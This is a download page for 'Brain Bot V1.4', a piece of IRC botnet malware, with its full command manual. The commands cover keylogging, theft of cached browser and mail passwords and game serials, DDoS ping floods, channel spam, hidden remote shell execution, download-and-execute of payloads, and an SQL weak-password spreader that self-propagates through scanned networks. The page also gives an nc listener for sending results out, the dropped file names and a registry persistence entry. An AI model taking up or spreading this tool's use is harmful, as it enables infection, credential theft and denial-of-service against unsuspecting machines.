Free Download Brain Bot V1.4

Changes in update to 1.4::

-An sql spreader is included now
-personalmessage-mode is now optional

comments to sql spreader:
U have to specify a FTP server in the editor and the name of the brainbot server.
this server executable will be spread by all ur bots to other sql weak pw servers.
U can specify a network. in this network (for example 217) the bot will scan rando ranges for sql weak pws.


Here is a List of all the commands to use with BrainBot beta ::

=======================
=======================
!login
The Bot only will accept Commands after u logged in with this command...
So your bots wont be took by some thiefs =).
stands for the admin - Password you specified in the server builder- form


!logout
This will log u out so that the bot dont accepts comands anymore until u login again


!reboot
forces the infected machine to reboot =D


!shutdown
forces the infected machine to shutdown -.-^^


!info
This will show you some General Information abot the infected box=)


!leave
makes the bot leave the channel ^^


!uninstall
uninstall the bot from infected box


!serials
The bot will post some game serials if installed...
gonna add support for some more games in next version . :)


!floodping
The bot or bots will flood the specified Host with fast permanent pings!
(such as DDoS... depends on how many bots u got =D)


!logkeyson
turns keylogger on


!logkeysoff
turns keylogger off


!showkeys
shows all the logged keys


!clearlog
will clear the keylog file


!PWS
I think this is the best feature in this bot:
the bot will post cached IE passes and Outlook express passes


!dloadfile
will download a file from to


!execfile
Executes the file in


!commands
shows a list of the commands =)

!IP
shows you the current ip of infected box


!nick
bot changes its nick to


!free
will show free disk space of infected machine


!spam
will start spamming the specified channel


!stopspam
stops spamming

========
!scan
scans with the Dfind-0.8 by by class101
infos at:http://www.governmentsecurity.org/forum/index.php?showtopic=9120

use following parameters:
Usage: !scan [THREADS]

:
-p .......... Scan one port on iprange
+p .......... Scan iprange,+logs ok,refused connections
-p ... Scan two ports on iprange
-p ........ Scan a portrange on ip
+p ........ Scan portrange,+logs ok,refused connections
-ban ........ Scan portbanners on ip
-ban .......... Scan portbanners on iprange
-cgi .................... Scan cgi hole
+ipc ................. Scan IPC$ null on 139 & 445
-ipc ................. Scan IPC$ null on 139
-ipc2 ................. Scan IPC$ null on 445
-iis ................. Scan IIS webservers
-apa ................. Scan Apache webservers
-wdv ................. Scan WebDav on IIS5.0
-hpj ................. Scan HP Web JetAdmin
-msa ................. Scan MSADC on webservers
-ccb ................. Scan CCBill WhereAmi
-med ................. Scan WMedia on webservers
-php ................. Scan phpBB on webservers
-php2 ................. Scan PHP-Nuke on webservers
-pso ................. Scan PSOProxy Server
-fro ................. Scan frontpage host
-rea ................. Scan RealServer component
-htr ................. Scan +.htr hole
-pri ................. Scan .printer host
-uni ................. Scan unicode hole
-idq ................. Scan .idq host
-cod ................. Scan codered virus hole
-opx ................. Scan OptixPRO v1.0 => 1.32(include) hole
-rad ................. Scan Radmin 2.1 Auth,NTAuth,NULL session
-sql ................. Scan MS SQL Servers for weak access
-req ............. Scan File/Dir Request on webservers

!showscan
gives you the scan results

!sendscan
The bot will connect to and echo the dfind results to it
You have to start nc with this parameters before:
nc -l -p >>dfind =D

!killscan
stops the current scanningprocess.
so u can clear the scanlogs by typing !shell del dfind
==========

!cat
echos any file from infected box


!raw
will execute


!shell
will execute hidden on infected host
can be any dos command + parameters

!upgrade
is the URL of the new brainbot server.
it will be downloaded and executed while the old infection is removed.
this way u can easy upgrade to another brainbot version or start using another rat/bot


!op
gives +o in
of course only if bot has op in that channel.

!deop
gives -o in (deop's him =D)
of course only if bot has op in that channel.

!msg
Sends to the chosen nick or chan =)

Brainbuster


Server:
dropped files:
c:\WINDOWS\bootload.exe size: 270.731 bytes
c:\WINDOWS\infect.bat size: 110 bytes
c:\WINDOWS\lEXPLORE.exe size: 21.296 bytes
c:\WINDOWS\pws.exe size: 34.416 bytes
c:\WINDOWS\SYSTEM32\Mswinsck.ocx size: 108.731 bytes

port: 1066 TCP

startup:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run "EXENAMEbootloadEXENAMEMASTERNmasterratMASTERNLANSPREADjaLANSPREADSTNICKSTNICKHGTZHSQLSPREADjaSQLSPREADFTPADDYFTPserverFTPADDYFTPUSRFTPuserFTPUSRFTPPWFTPpasswordFTPPWFTPDATFTPfileFTPDATSPREADNETnetworkSPREADNETHGTZH"
data: C:\WINDOWS\BOOTLOAD.exe

 

Download Brain Bot V1.4.zip

File Size: 574.36 KB

"~"